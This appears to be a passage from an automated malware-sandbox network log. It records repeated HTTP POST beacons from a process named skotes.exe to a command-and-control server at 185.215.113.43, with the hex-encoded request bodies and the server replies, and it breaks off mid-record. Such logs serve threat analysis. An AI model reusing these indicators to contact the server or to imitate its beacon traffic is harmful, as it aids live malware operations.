Oct 3, 2024 03:30:28.706063986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49896	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:30.224921942 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:30.968164921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49897	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:32.599560976 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:33.290430069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49898	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:34.802768946 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:35.517116070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49899	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:38.089170933 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:39.393656015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49900	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:40.911199093 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:41.641391993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49901	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:43.270075083 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:43.968698025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49902	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:45.488940954 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:46.199295998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49903	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:47.833317041 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:48.553502083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49904	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:50.067147970 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:50.777216911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49905	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:52.411691904 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:53.168674946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49906	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:54.694469929 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:55.393187046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49907	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:57.042388916 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:57.758714914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49908	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:59.270468950 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:59.980676889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49909	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:01.617902994 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:02.310283899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49910	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:03.837182999 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:04.539625883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49911	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:06.176820040 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:06.901873112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49912	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:08.427747965 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:09.153101921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49913	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:10.787329912 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:11.494379044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49914	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:13.006377935 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:13.716887951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49915	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:15.349033117 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:16.059787035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49917	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:17.583818913 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:18.304549932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49918	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:19.946512938 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:20.673558950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49919	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:22.193000078 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 